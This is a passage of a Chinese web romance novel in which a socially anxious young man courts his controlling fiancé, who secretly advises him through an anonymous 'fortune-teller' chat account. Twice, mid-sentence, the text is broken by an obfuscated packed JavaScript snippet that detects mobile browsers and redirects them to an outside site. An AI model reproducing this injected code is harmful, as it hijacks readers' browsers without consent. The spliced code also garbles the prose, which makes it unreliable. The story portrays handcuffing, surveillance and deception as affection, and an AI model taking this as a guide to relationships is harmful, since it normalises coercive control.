顾熠阑是晚上七点回来的。 苏泽岁得了管家的通风报信,立刻放下了正在学的竞赛网课,戴上cosplay的道具。 他坐到了床上,白细的胳膊撑在腿间,漂亮的眼眸耷拉着,努力扮演一只可爱的、坐着的小狗。 根据他依稀的记忆,这个叫……“还原角色”。 在苏泽岁的认知中,顾熠阑今天被坏人乱了心情,自己陪他玩cosplay,还原他喜欢的角色,让他开心起来,也算是提高好感第二式中的内容。 于是,顾熠阑进门时,看到的就是这样的一幕—— 少年端坐在床上,顺着开门声而转头。 那鸦羽般浓密的睫毛轻轻抬起,乌发间毛茸茸的耳朵轻微地动了一下。在看到他的第一时间,就弯起了动人的眉眼。 视线顺着少年单薄的身形向下,那两只撑在大腿中间的软萌爪爪也格外显眼。 顾熠阑脚步微不可察地一顿,眼中划过一丝复杂的情绪,在那漆黑如墨的眸子中格外难辨。 但他太习惯隐藏自己的情绪了,这些细微的反应都一瞬即逝。 顾熠阑走到床前,微微眯眼,居高临下地打量着床上的少年,不知喜怒。 跟在他身后的管家看到了乖巧的少年,忍不住在心里感慨:瞧,多可爱,多惹人心怜啊!看来这招用对了。 但出乎管家意料的是,房间里的氛围却不像他想的那么暧昧。 床上床前的两人都长久地没说话,像是一种无声地对峙。谁先开口,谁就落了下风。 沉默的气氛越来越剑拔弩张,就在管家都在考虑要不自己做第一个说话的出头鸟时,那床上的少年终于微微张开的软唇,像是深思熟虑良久,才最终做出了发言决定。 管家欣慰又期待地看着少年,指望着他来打破僵局,就只见那软唇微启,怯生生地小声道:“汪汪。” 管家:??? 原来一直不说话是因为入戏太深了?真把自己当小狗了?? 但这简单的两声却有奇效,顾老板挑了挑眉梢,微微绷紧的脊背也放松了些,像是进入了松弛状态的野狼。 他把少年上下扫了一遍,确保视线中没有出现“小狗尾巴”之类的东西后,才悠悠地开口:“在玩什么?” 少年清澈的眸子里映着他颀长的身影,闻言,里面又添了几分苦恼,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14215104|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在纠结要不要违背角色、说人话。 许久,他才轻声道:“小狗。” “你吗?”顾熠阑问道。 苏泽岁长睫扑闪着眨了两下,然后开心地点了点头。 “现在玩完了吗?”顾熠阑对此未作评价,而是转身,朝着某个柜子走去,“玩完了就把东西摘了,靠在床头,闭眼。” 苏泽岁自动忽略他的前半句话,想象自己是一只半躺着的小狗,靠在了软绵的枕头上,听话地闭上了眼睛。 他听到了翻东西的声音,感受到了顾熠阑的脚步声在逐渐靠近。紧接着,随着“噗噗”两声,就感觉膝盖一凉。 他本能地想要睁开眼睛,但想到顾熠阑的话,还是紧紧闭住,没有睁眼。 膝盖凉了几次,他才听见男人道:“好了,可以睁开了。” 苏泽岁将眼睛眯开一条缝,就看见顾熠阑正将收拾好的医疗箱放回到柜子里,而他的膝盖的淤青处有些湿漉漉的。 原来刚才听到的“噗噗”声是药物喷雾的声音。 苏泽岁来不及构思感谢的话,就见顾熠阑把手铐钥匙丢了过来,道:“收拾一下,下楼看电视。” 苏泽岁:! 补药、补药在那么多人类中看电视呜。 顾熠阑走到门口,半倚在门框上,双手环胸地等着他,带着催促意味,压迫感极强。在他的亲自监督下,显然这件事没有任何商量的余地。 更何况苏泽岁早上已经违背了一次时间表,他很不好意思,再不愿也只能乖乖接受。 因为要见到很多人类了,刚才故意装聋没摘下的小狗道具,被他三两下取下。他利索地穿上小兔拖鞋,啪嗒啪嗒跑到了顾熠阑面前。 “走吧。”顾熠阑放下手臂,落后少年半步地朝客厅走去。 因为这回大老板在场,员工们都不敢造次,投影上老老实实地播放着新闻联播,枯燥乏味,让佣人们昏昏欲睡。 和上次一样,苏泽岁还是缩在所有椅子的最后一排,身体抖啊抖,长睫颤啊颤。 唯一的区别,就是顾熠阑始终坐在他身边。 人类陌生的身体,隐约的呼吸声,都会让苏泽岁胸闷气短、喘不上气。 他实在难受得不行了,就偷偷摸出手机,架在面前的小桌板上,悄悄地放起了竞赛网课。 因为于他而言,上网课的时间是总是过得飞快。 他希望一眨眼,就能结束这段痛苦的、周围满是陌生人的行程。 但由于他实在他害怕了,就算是喜欢的竞赛网课,也收效甚微。看了半天,知识都不进脑。 就在此时,他的手机上弹出了一个未读消息—— 【陌生人。的私信:你在害怕?】 完全被说中的苏泽岁呼吸一滞,感觉心脏骤停了一下。 自从上次那个帖子火了之后,就常有人私信他。他很社恐,把A乎开了消息免打扰。之后,上面很多的信息都会被筛掉,只有少数私信会透过大网弹出来。 现在这条突如其来的私信,突破免打扰弹出,又精确地说中了他的心情,有种神秘的玄学感。 苏泽岁握着手机,没回消息,下意识向身边的男人看去。 或许是他的目光太过直白和炽热,顾熠阑也侧首淡淡地瞥了他一眼,随即又无所谓地收回,重新落在正前方的投影上,一丝不苟地看着上面播报的新闻。 顾先生对待时间表很认真,目不斜视,应该连他在偷偷看网课都没发现,更不会知道他收到了陌生人的私信。 整个客厅里应该只有他在小心摸鱼。 苏泽岁一边放下心来,一边又有些心虚,因为顾熠阑说过很多遍,不希望他跟别人说话。 但憋了一会,好奇心还是战胜了理智,不知世事险恶的他疑惑地问—— 【用户1947296:你是怎么知道的?】 14.控制 【用户1947296:你是怎么知道的?】 【。:你想了解的事我都知道。】 对方言语之间有种熟悉的、掌控全局的能力。简简单单的一句话,就成功地勾起了苏泽岁的探究欲。 网络和好奇心都能是让社恐胆子微微变大的东西,更别提对方还主动给他把滑滑梯搭好了—— 【。:A乎我不常用,加个微信?】 加陌生人联系方式实在太刺激了。社恐苏泽岁心跳如鼓噪,受不了地双手捂住了手机屏幕,身体发颤,长长地呼了一口气。 情绪稍微平复之后,他忍不住又看了顾熠阑一眼。 他猜想自己的小动作太明显了。 因为男人也转过头来,视线扫过他的脸颊,挑了挑眉梢,语气却平淡地道:“总看我做什么?” 苏泽岁心跳骤停了一拍,他抿住柔软的唇瓣,摇头如拨浪鼓,非常心虚。 好在顾熠阑人很好,没有追根究底。 苏泽岁小手捂住手机,整整五分钟,才缓过神来,小心翼翼地挪开捂着两只手指,打字。 他一直在用A乎提供的方法“攻略”顾熠阑。但效果如何,他不知道,他不会察言观色,不懂男人的想法。 他还记得,顾熠阑早上才说,他可以加一两个陌生人。 于是此时病急乱投医—— 【用户1947296:好。加】 对方效率很高。他刚把微信号发出去,就收到了好友申请。 陌生大叔的微信昵称跟A乎一样,而头像是一片纯黑色,看起来就不像是什么好人。 【。:你是想和谁结婚?】 【。:为什么想跟他结婚?】 对方上来就是问题轰炸,苏泽岁软唇微张,手指在空中顿了好一会,才意识到哪里不对劲。他遣词造句半天,终于憋出了一句话。 【(o^^o):为什么要问这个?】 对面顿了一下,才回复。 【。:对症下药。】 苏泽岁被说服了,他思索着思索着,目光又情不自禁往身旁的男人身上飘。好在这回一触即收,没有被发现。 【(o^^o):因为他人很好】 这一句话发出去,对面沉默的时间更长了。 就在苏泽岁以为不会再得到回复时,手机震动了一下—— 【。:错觉吧。】 苏泽岁皱了皱小脸,不赞同这个说法。 【(o^^o):他非常帅】 他一向词不达意,想表达的是相由心生之类的意思,但手机那边的人不出意外地还是理解错了。 【。:帅能当饭吃吗?】 【(o^^o):不要这么说。他看到不好】 【。:他?为什么要给他看?】 尽管对方发的是文字,但一股凉飕飕嘲讽的意味还是扑面而来,好像隔着屏幕都能听到冷笑声。 苏泽岁隐隐感觉到了一丝不对劲,他不知道问题的答案,但他觉得对方说的不对,所以手指还在键盘上茫然地打字、反驳—— 【(o^^o):因为要给他看】 【。:他管太宽。劝你别跟他结婚。】 看到这条信息,苏泽岁傻愣在了原地,头顶缓缓冒出一个大大的问号。 不是说要对症下药吗?为什么上来就直接把病人弄死了? 对面似乎嫌贴脸开大还不够,还要尸体上跳舞—— 【。:我打赌,他也不会和你结婚。】 【。:知难而退,及时止损。】 这两条消息一出来,苏泽岁真的气鼓鼓了。 他怀疑网线的那一端,其实是一个又坏、又不怎么好看的大叔,平日里最大的爱好就是在网上诋毁那些很好的人。 他手指用力地戳在屏幕上,啪啪啪”地打字道:【他不是这样人,他只是看着凶,他……】 苏泽岁遣词造句很困难,每发一条信息都要一两分钟。这句话还没打完,身边的男人站了起来。 少年一惊,第一反应是将手机紧紧捂在胸前,如临大敌地瞪着顾熠阑的腿。 “时间到了,走吧。”顾熠阑淡淡道。 男人对他的异样表现出了极大的包容,苏泽岁有点小感动,但也不敢怠慢,站起身就要往楼上跑。 因为看电视环节结束,前面坐着的人就要回头收拾客厅了。 他把手机揣在兜里,迈开小腿,朝着旋转楼梯的方向“啪嗒啪嗒”跑去。 顾熠阑比他高,腿也比他长,三两步就跟上了他。 挺着啤酒肚的管家稍显吃力,但为了老板,他还是气喘吁吁地追了上去,跑到了顾熠阑身边。 他们落后于少年一两步。 管家压低了声音,对老板神秘兮兮地道:“顾先生,你觉得苏小少爷……他到底是怎样的人啊?” 顾熠阑薄唇轻启,没有感情地吐出一个词:“情绪异常。” 管家悟不透老板的哑谜,但也松了一口气。至少从这个评价中,他能隐约窥得——老板应该还没发现少年其实是抖m! 他顿时感到使命深重。看来以后给两人牵红线的任务,就得交给他了! 苏泽岁满脑子都是“跑快点快点跑”,身后两人的低声对话完全没听见。 前方就是楼梯转角,胜利的曙光就在眼前。但就在此时,楼下突然远远传来一声:“小少爷,等等!” 于社恐而言,被人从背后大声喊住,无异于正常人大半夜走在空无一人的小巷中,然后突然被人拍了一下肩膀。 苏泽岁身体一抖,一个踏空,直接重心不稳,仰着头,就要往身后的层层台阶上栽去。 呜! 他紧闭上双眸,害怕地心想,这回不是要把膝盖摔紫了,而是要摔得头破血流,甚至从楼梯上滚下去了。 到时候,客厅所有人都会冲过来,把他围起来,目不转睛看着他,不停地说话说话说话…… 呜呜! 但意料中的疼痛没有到来。 因为他猛地跌入了另一个人炙热的怀里。 他先感受到的是对方滚烫的体温,以及那线条清晰而坚实的肌肉触感,紧接着,熟悉的皂荚香在鼻尖散开来。 苏泽岁心脏猛跳了下:! 顾熠阑被他撞得往后仰了一下,但男人下盘很稳,很快便扶住了摇晃着双臂、即将跌倒的少年。 苏泽岁站稳后,才发现自己为了维持平衡,小手正死死攥紧了对方的胳膊。 他急忙松手,窜出顾熠阑的怀中,往上迈了一个台阶,像做错了事的小孩子一样,一言不敢发,低头捏着自己的手指。 他记得早在相亲的那一天,哥哥就告诉他,顾熠阑不喜欢跟别人肢体接触。 就算低低垂着头,他也能感觉到男人的视线正在他身上扫过。 于是他又紧张起来,又开始害怕会被丢出房子。 就在这时,原来喊住他的保姆阿姨上了楼梯,朝顾熠阑微微鞠躬后,又对他道:“小少爷,没事吧?怪我,突然喊你。” 苏泽岁缩了缩肩膀,摇了摇头。 “小少爷加个微信好吗?以后你每天想吃什么水果,都可以发给我,我出去买。” 原来是每天下午两点半准时给他送水果的阿姨。 每次阿姨将水果放在门口、敲敲门后,就会离开。所以苏泽岁一直都不知道她长什么样,也没听过她的声音。 苏泽岁心里焦虑着会被丢掉的事,身体木然地行动,加完微信,阿姨都走了之后,才后知后觉地感到了社恐带来的、本能的呼吸不畅。 顾熠阑没说话,就在一旁平静地看着少年,看他身体僵硬,看他不知为何地委屈对了对手指。视线重点放在了少年单薄的脊背,和那原本就有伤的膝盖上。 扫完一遍,此事暂毕 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见他不动,站在老板身旁的管家清清嗓子,补充道:“过来,顾先生要惩罚你。” 苏泽岁:??? 顾熠阑:。 看着少年真的慢慢挪着步子过来了,管家搓搓手,欣慰了。 什么控制什么惩罚的,小少爷肯定喜欢坏了。如果两人最后结婚了,自己至少得被颁个“最佳月老”奖。 顾熠阑伸手,把一支笔递给面前的少年,道:“录音笔。以后每晚对它称述你一天都做了什么,我会检查。” 苏泽岁看着手中质感厚重的纯黑录音笔,点了点头。 他还在乖乖地等待着“惩罚”,但顾熠阑却再没有动作,把录音笔给他后,就心地善良地让他回了自己房间。 侧卧中,苏泽岁研究起录音笔,顺便把之前没法完的消息发给了陌生叔叔。 【(o^^o):他不是这样的人[兔兔否定.jpg]】 【(o^^o):他最善解人意!他最心地善良!】 对方似乎在忙,过了一会才回他消息。 【。:……】 【。:我觉得他不是。】 苏泽岁知道这个世界上有那么一类人,会洞察天机,道出常人所无法知晓的命数。 比如,在他很小的时候,算命先生就告诉他,他生来命苦、易犯小人,所遇之徒无不心性恶劣。于是,他真的就从未遇到过好人。身边的所有人,都喜欢欺负他、凌辱他、以他取乐。 【(o^^o):你是占卜师吗?】 对方输入了几秒。 【。:嗯。】 【(o^^o):[兔兔凝视.ipg]】 表情包中,一只小白兔鼓着脸颊,瞪着滚圆的眼睛,头顶三个大问号,歪头看着屏幕外的人,带着可爱的质疑,像是在说“我不信!” 【。:你想知道什么?想要什么?】 苏泽岁眼眸一亮,晃悠了一下白细的小腿,手指欣喜地打字。 【(o^^o):我想让他把朋友圈对我打开】 对方沉默了片刻,发出了消息—— 【。:又围着他转?他跟你什么有关系?】 苏泽岁揉了揉小下巴,思考着这个问题。 【。:青梅竹马?救命恩人?前世情人?】 对方似乎很不满这个愿望,语气冰凉,冷冷嘲讽,聊天界面上也一直显示着“对方正在输入中”。 苏泽岁犹豫着打字,在对方继续输出前,终于打出了一句话—— 【(o^^o):他是。未婚夫呀】 消息刚发出去,聊天框上的“对方正在输入中”就倏地闪灭,长久地恢复成了那个冷淡的句号,透露出一股捉摸不透的意味。 15.玄学 多年前,A市《新婚姻法》横空出世,宣布通过“同性可婚”法案,取消离婚冷静期,大幅缩减结婚、离婚所需的手续。 渐渐的,在A市中,结婚离婚成了如吃饭般稀松平常的事。大街上随处可见有过五六段婚约的人。 如果非要形容,现在的结婚,就相当于很多年前的“谈恋爱”。 在顾熠阑小的时候,顾家就给他安排了许多联姻。所以他曾同时拥有过很多“未婚妻”。 后来,那些未婚妻都被他阴戾的性格吓走。只剩下了苏泽岁一个人。 在顾熠阑眼里,“未婚妻”“未婚夫”都只是没有感情的符号,是麻烦的代词。 现在突然在微信上看少年说道——这个词,就是对方想要跟他结婚的原因之一。 ……很难描述顾熠阑此时此刻的心情。 就像是被人用爪子在心底里最软的地方挠了一下,酥软中夹杂着异样的苦楚,理不清情之所起。 男人舌尖抵了抵上颚,利齿磨在口腔的软肉上,握着杯子的手下意识用了力,连骨节都泛了白。 良久,他才仰头将杯中的凉水一饮而尽,冲刷走血腥味,继续打字。 【。:我可以实现你想要的。但之后,你得无条件相信我所说的。】 隔壁房间的苏泽岁捣鼓来捣鼓去,已经把录音笔研究透了。他刚打开手机,准备写录音稿,就收到了这条信息。 读完对方发来的消息,少年瞪圆了晶亮的眼眸,回了消息。 【(o^^o):嗯嗯】 【。:我算得,他占有欲过于强盛,甚至称得控制狂,实非良人。】 【(o^^o):嗯嗯】 【。:……】 【。:你明天跟他说“我这辈子,到死都不会离开你”,他也不会觉得有任何奇怪,只会冷笑着说“很好”。】 看到这句,苏泽岁立刻打字,急切地问道—— 【(o^^o):然后那他就会把朋友圈给我打开了吗?】 【。:…………】 【。:嗯。】 【(o^^o):好。谢谢[兔兔拜拜.jpg]】 相信玄学的力量!好好准备。 苏泽岁关掉微信,就开始在A乎上搜索起“高情商发言”。 提高好感度第三条——说有趣的话,做通情达理的伴侣。 说话能多有趣,就决定了你能有多大魅力。在日常闲聊中,高情商的话都能随口捏来;将来,跟你结婚的人,会轻轻松松沐浴在你的幽默风趣之中。 听懂、掌声! 向来不太会说话的社恐苏泽岁深深地信了。 他有一定的语言障碍,折腾了一晚上,录音才最终成形。 睡前,管家给他送来了手铐钥匙,方便他换衣服。 苏泽岁信心满满地攥着录音笔睡觉了,一夜无梦。 第二天一早,他准时起床,用钥匙解开手铐,穿上拖鞋,拿上录音笔,就“啪嗒啪嗒”跑到顾熠阑房门前,乖巧地等待着男人出门。 没过多久,房门就被人从里面打开了。 独属于男人的、颇具侵略性的气息扑面而来,苏泽岁攥紧手中的笔,抬头望去。 门内的男人额前的碎发上还沾着水珠。水珠顺着那完美的脸颊颗颗滑下,柔和了那面部锐利的轮廓,最终滴湿了衬衫。 男人显然是刚洗完脸,看到他,脚步微微一顿。 苏泽岁急忙把两只手中握着的录音笔和手铐钥匙递了过去。 顾熠阑单手接过,揣到口袋里,锋利的视线一扫少年的脸,就抬腿准备往一楼去。 但少年却依旧杵在门口,仰着红润漂亮的小脸,透亮的眼眸中映着他修长的身影,嗓音轻软地道:“听。” 说话时,少年头顶翘起的几缕呆毛还晃了晃,显然是起床后就直接跑了过来,连头发都没整理。 顾熠阑挑了挑眉梢,手指摩挲着录音笔,在少年期许的目光中,按了顶部的开关。 几秒后,少年略显不真切的嗓音从录音笔中传出—— “咳咳,今天是个风和日丽的好日子。 早晨六点四十,阳光和煦,春风袭来,我开开心心起了床,严重违背了时间表的规定。 回顾整个过程,我意识到犯错的根本原因是:缺乏责任意识、时间管理不当、缺乏有效沟通。对于上述问题,我深感自责……” 在录音中,少年难得没怎么卡顿,但语气却更显生硬,总会在不该有语调的地方抑扬顿挫。就连开头的“咳咳”,都不像是在清嗓子,而像是在读课文。 像个读艰涩课文的小学生,或者说模仿人类说话的机器人。 苏泽岁捏了捏手指,有种被老师检查作业的不安。 他确实写了稿子,也读了好多好多遍。 顾熠阑接着往下听—— “我蹲在楼梯上,偷听客厅的人说话,顾先生很厉害,把坏人从别墅里打跑了; 我扮演可爱的小狗,顾先生很喜欢,欲罢不能地给我上药; 我不小心在楼梯上跌倒,顾先生接住了我,还善解人意地柔声安慰我……” 顾熠阑:“……” 管家恰好路过,他踩点来给老板整理文件,就恰好听到这段录音,脸上瞬间写满了问号:??? 饶是他在这里工作许多年,也要自我怀疑一下—— 这个房子里只有一个人姓顾,被人尊称为顾先生,是吧? “顾先生把我锁在卧房的床头,我很高兴;他不允许我跟任何人说话,我很满足。顾先生还说以后让我永远脱离不了他的掌控。我这辈子,到死都不会离开顾先生的。” 顾熠阑:“…………” 短短一篇日程概述,居然能让人听出检讨书、奉承信,还有阴间抖m风等多种风格,也是神奇。 录音到这里就断了。 顾熠阑下颌线微微绷紧,确信自己这辈子不会再听第二遍了。 他把笔丢还给少年,冷漠道:“今天再继续。” 少年双手捧过了笔,却没有接话,而是用晶亮的眼神,期待地看着他,好像他忘了什么东西…… 鬼使神差的,被少年用这藏不住心事的眼神一看,顾熠阑脑中倏地浮现出录音的最后一句话—— “我这辈子,到死都不会离开顾先生的”。 如此变态折磨的一句话,放在少年的录音里,居然毫无违和感,让人察觉不到异样的突兀。 这世上有两种招式最难防,一种零帧起手,一种就像这样,前摇过长。 顾熠阑对上那双单纯的眼眸,默然片刻,薄唇轻启,凉凉地吐出两个字:“……很好。” 话音落下,被表扬了的苏泽岁耳尖泛红,弯起了眼眸,整个人身上写着“开心”两个字。 但他还没高兴多久,就听上方的男人接着道:“录音只是开始。结婚后,我要把你时时刻刻捆在我的身边。我在哪,你就得去哪。” 顾熠阑的嗓音慵懒中又带着清晰的狠厉,如游刃有余的饿狼,在压着声音说话时,尤为让人后背发凉。 苏泽岁浑身一抖。 他看了看整日外出的顾熠阑,又想了想连房门都不敢出的自己,原本盈满喜悦的眸子中,逐渐溢出不安和害怕。 顾熠阑目光锁在苏泽岁的脸上。 少年情绪的变化,一丝不落地被他看在眼中。 男人眯起眼,抿了抿薄唇,终于大发慈悲地道:“回去吧。” 苏泽岁转身就跑,连背影都写着慌乱。 目送着他远去,顾熠阑低头掏出自己的手机。 当初他漫不经心,随手给少年的微信点了“仅聊天”。现在,为了提高网上身份的可信度,他打开了朋友权限。 …… 回到自己卧房,苏泽岁关上门,心脏砰砰直跳。 他对出门感到焦虑,但一想到可以看顾熠阑朋友圈,心情又变得好些了。 他擅长忘掉不开心的事,更何况那还是很久以后的事。所以没过多久,那点忧虑就被后者完全覆盖,他开始激动了。 苏泽岁坐回到床沿上,给自己拷上手铐,努力平复着滚滚而来的情绪。 但许久之后,他的心脏还是乱跳不停,于是他又去洗漱了一下,然后吃了份送上门的早点。 最后,等到情绪退得差不多了,他才小心地打开手机,戳进顾熠阑的微信主页—— 果然,顾熠阑的朋友圈开了。而且,里面恰好有条几天前发的图片! 苏泽岁弯了弯眼眸,抱着手机趴到了软绵的床上,开心地晃悠着两条笔直的小腿。 感谢伟大的玄学! 苏泽岁还没忘记自己看顾熠阑朋友圈的初衷,是为了提高好感第一式——“在他的朋友圈给予特别的回应”。 他鼓着白皙的脸颊,先在脑海中回忆了一遍昨晚收藏的“高情商语录”,之后才轻轻吸了一口气,小手一戳,点开了顾熠阑唯一一条朋友圈里的图片。 然后就感觉两眼一黑。 图片中,白底黑字,写着一份纯英文段落,其中还洋洋洒洒写着数个超长的物理公式。英语字母和物理符号交杂在一起,不知所云,但格外邪恶。 苏泽岁基本不懂英语。 所以,先帝创业未半而中道崩殂…… 他和那些字母大眼瞪小眼了一会儿,最后还是认了输,把图片保存了下来,发给了哥哥。 【(o^^o):哥哥,怎么写?[图片]】 几分钟后,苏铭宇回了消息—— 【哥哥:我没告诉你我本科毕业就回家继承家产了吗?】 苏泽岁:。 哥哥这条路行不通,苏泽岁只能又求助网络,下载了一堆翻译软件。 奈何这张图片上物理学专有名词太多,翻译过来,完全是“意大利面拌42号混凝土因为这个螺丝钉的长度”。 就在苏泽岁把乌发都挠得乱糟糟翘起几缕时,他的手机响了—— 【。:如何?】 对玄学的崇拜盖过了社恐,苏泽岁像抓了救命稻草,及时回了消息—— 【(o^^o):嗯嗯】 【。:?】 苏泽岁翻了翻聊天记录,才勉强揣摩到对方的意思,又恍然大悟地打字。 【(o^^o):好用[兔兔鞠躬.ijp]】 【。:以后听我的?】 【(o^^o):好的叔叔】 他一句“叔叔”的,把对面至少干沉默了一分钟。少年这才有时间空隙,在对方发出消息前打完字。 【(o^^o):叔叔可不可以帮我算一款好用的翻译软件?】 【(o^^o):要可以翻译物理学专有名词的】 【。:?】 【(o^^o):拜托拜托[小兔鞠躬.jpg]】 【。:……】 对方每次发标点,信息提醒界面上就显示三个符号,奇奇怪怪。 【。:DeepL Translator,Linguee,Physics Dictionary。试试。】 由于遣词造句很慢,苏泽岁习惯了把要发的话提前打在对话框里,这样就看上去和正常人一样啦。 所以,对方一发出消息,他就回复道—— 【(o^^o):谢谢叔叔,我去学习了】 他的执行力很强,再加上现在非常渴望,所以关掉微信,就如饥似渴地投入到翻译软件中,企图攻破面前的难题,达成“在他的朋友圈给予特别的回应”的成就。 可惜的是,能让顾熠阑分享的文献,其生僻晦涩程度,是非一般的程度。 苏泽岁埋头苦干,拼命硬干,从晨光熹微干到艳阳高照,从DeepL Translator干到Physics Dictionary,都还没能干出名堂。 就在这时,他的手机又响了,是管家叔叔的消息—— 【AAA管家:小少爷,现在在干什么呢?】 【(o^^o):学习】 【AAA管家:学什么习?】 管家只是客套一下,好顺水推舟地让少年休息会儿。 但苏泽岁从来听不懂言外之音。 看到这个问题,他思考了一会,认真地打字回复道——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14245355|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【(o^^o):学英格莱习[图片]】 【AAA管家:???】 ……什么鬼? 【AAA管家:小少爷学得累不累呀?要不要下来玩一会?】 【(o^^o):下面有别人】 【AAA管家:哪有?就我一个。】 【AAA管家:顾先生快回来吃午饭了。你不是想跟顾先生结婚吗?要不要下来给他做个菜?抓住他的胃】 苏泽岁鸦羽般浓密的眼睫眨了眨,有点心动了。 给饥肠辘辘的人做饭吃,很符合提高好感第二式——在他有困难的时候恰巧出现。 他本来以为三招一条路都走不通,没想到一朝峰回路转,居然三线开花了! 网上的人果然好聪明! 苏泽岁发了个“好”过去。 管家得令,立刻行动,第一步遣散一楼打扫卫生的阿姨,第二步上楼给苏泽岁解开手铐,第三步拿出他早已准备好的食材。 一切风风火火、有条不紊地进行着。 然后苏泽岁才想起来—— 他好像不会做饭。 管家:。 最后,两个不会做饭的人在网上随便找了个菜谱,死马当作活马医,尝试着做道最简单的西红柿蛋汤。 “小少爷,顾先生不愿跟你结婚也是有难言之隐。你别怪他,也别放弃。”管家做饭也不忘见缝插针地劝说少年。 但苏泽岁干事情很专注,没有听见耳边的碎碎念,自己小声嘀咕道:“加盐、少许。” “但也要注意尺度,安全词还是要有的。” “煮沸、小火。” …… 十五分钟后,一道热气腾腾的西红柿蛋汤成功出锅。 苏泽岁记性很好,没有忘记第二式的前提——“在他有困难的时候”。 没有困难……那就要制造困难了。 所以,他把冰箱里的冰水冰饮一瓶瓶取出,偷偷收到了餐厅的某个柜子里。 “小少爷真聪明。”管家笑眯眯地帮着他搬水,走到餐桌旁,顺便把茶壶里的凉白开也倒了。 两人刚忙完这一切,顾先生恰好准时踩点到家。 “怎么在下面?”顾熠阑淡淡瞥了眼少年,按照平日里的习惯,走到餐厅,打开了冰箱门。 然后就看到了空空如也、仿佛被渴死鬼小偷洗劫过的冰箱。 顾熠阑:…… 管家:“小少爷在上面闷,我给他放下来玩一会儿。” 苏泽岁站在一旁,乖巧提议:“喝汤。” 顾熠阑薄唇生硬地往下抿了抿,“砰”地关上冰箱门,声音听不出喜怒:“行。” 管家再度得令,立刻去把厨房里热着的西红柿蛋汤端了出来,放在餐桌正中央,给老板和小少爷盛汤。 等待的过程中,顾熠阑看了眼手机,然后掀起眼皮,看向苏泽岁,道:“你在紧张。” 他嗓音淡淡、音调平稳,但天生音质偏冷,再加上这句话背后的含义阴戾而变态,着实让人发怵。 他看了苏泽岁心率。 少年一直戴着心率手环没摘过。顾熠阑之前鲜少特意去看,一来是没时间,二来是觉得还不至于如此。 但当他决定要更狠心的时候,就该把所有见得人、见不得人的手段搬上台了。 闻言,苏泽岁愣了一下,把小手贴在了自己的胸口。 好像、是很快。 怪不得……一直感觉喘不上来气。 这时候,管家终于把两碗汤盛好了,放在老板和小少爷面前。 顾熠阑观察着苏泽岁的脸色,毫无所察地喝了一口,随即瞬间默然。他面无表情地放下勺子,第一反应去拿桌上的水杯。 然后又发现水杯、茶壶都和冰箱一样,空荡荡。 顾熠阑把水杯磕在桌上,抬眸看向少年:“汤是你做的?” 苏泽岁耳尖红红,有些不好意思地点了点头。 顾熠阑:“有没有人说过你做饭很好吃?” 面对这咸到令人发指的汤,他等着少年说“没有”。 他自己一句“那你还做”已经准备好了,却听到少年认真地掰着手指,细数道:“爸爸、妈妈、哥哥,还有管家叔叔。” 顾熠阑:“……” 顾熠阑:“以后不准进厨房。” 苏泽岁对了对手指:“哦。” 好在除了西红柿蛋汤,剩下的菜都是保姆阿姨提前做好的,勉强能下咽。 顾熠阑今天似乎格外业务繁忙,迅速吃完午餐后,就又要出门。 苏泽岁本来还晃悠着小腿,开心地吃饭,见状,他急忙放下手中的筷子,跳下椅子,追了过去。 他越过玄关时,顾熠阑恰巧推开了大门。 那一瞬间,外面的世界倏然映入了苏泽岁的眼帘,让他呼吸一滞。 他胸闷气短,难以说话,于是急忙掏出手机,以自己最快的速度打字—— 【(o^^o):去哪】 发完,他又看向男人,用小手指了指手机,示意他看信息。 顾熠阑蹙了蹙眉,垂眸看向震动了一下的手机,也打字。 【一十一维:学校。】 苏泽岁思考了一下,觉得男人可能是要去实验室做课题。考虑到自己穿越前也是物院的,说不定能帮上什么小忙。 这样也算是“在他有困难的时候恰巧出现”。 他若有所思地点了点头,又接着打字。 【(o^^o):你研究什么[兔兔疑惑.jpg]】 【一十一维:AdS/CFT对偶性和量子场论中的曲率时空。】 苏泽岁软唇微张,手指在空中顿了好一会。 最后,他把收藏夹里的一段话复制过来,发了过去。 顾熠阑手机又震了一下,他垂下黑眸,倒要看看少年能说些什么—— 【(o^^o):和你一起的时间总是过得特别快!再见,我亲爱的朋友!记得早点回家!】 一抬头,少年正怯生生地朝他挥了挥小手,抿着软唇,眼神羞涩。 顾熠阑:“……” 16.下楼 傍晚18:00,晚餐餐点时,顾熠阑才踩点到家。 没了少年插手,桌上的餐食都很正常。 只是华贵的餐桌长长地延伸在宽大的客厅里,略显寂寞与空荡。 作为矗立在A市寸土寸金黄金地段的豪宅,接待来宾的餐厅自然布局宏大。 这里的中央餐桌采用长条设计,表面镶嵌着细腻的金色雕花,呈现出欧式古典风格,也显得视野空间更加开阔。 只是这间餐厅里少有客人,每次用餐,都只有顾熠阑一个人坐在长桌尽头,身形笔挺颀长,周边空无一人。 除了今日中午,有个漂亮的小少年坐在他身边,一边埋头吃饭,一边晃悠着白细的小腿,还时不时偷瞟他一眼,看起来快乐又满足。 见自家老板坐上了餐桌主位,管家很有眼力见地提醒道:“小少爷在自己房里。快到餐点了,佣人正要给他送晚餐呢。” 他边说边观察着顾老板的脸色,企图从中读出某种感情倾向。 但顾熠阑幽深的黑眸向来冰冷得没有一丝感情,就算偶尔挑眉,也不知是真心感兴趣,还是冷冷嘲讽。让人捉摸不透。 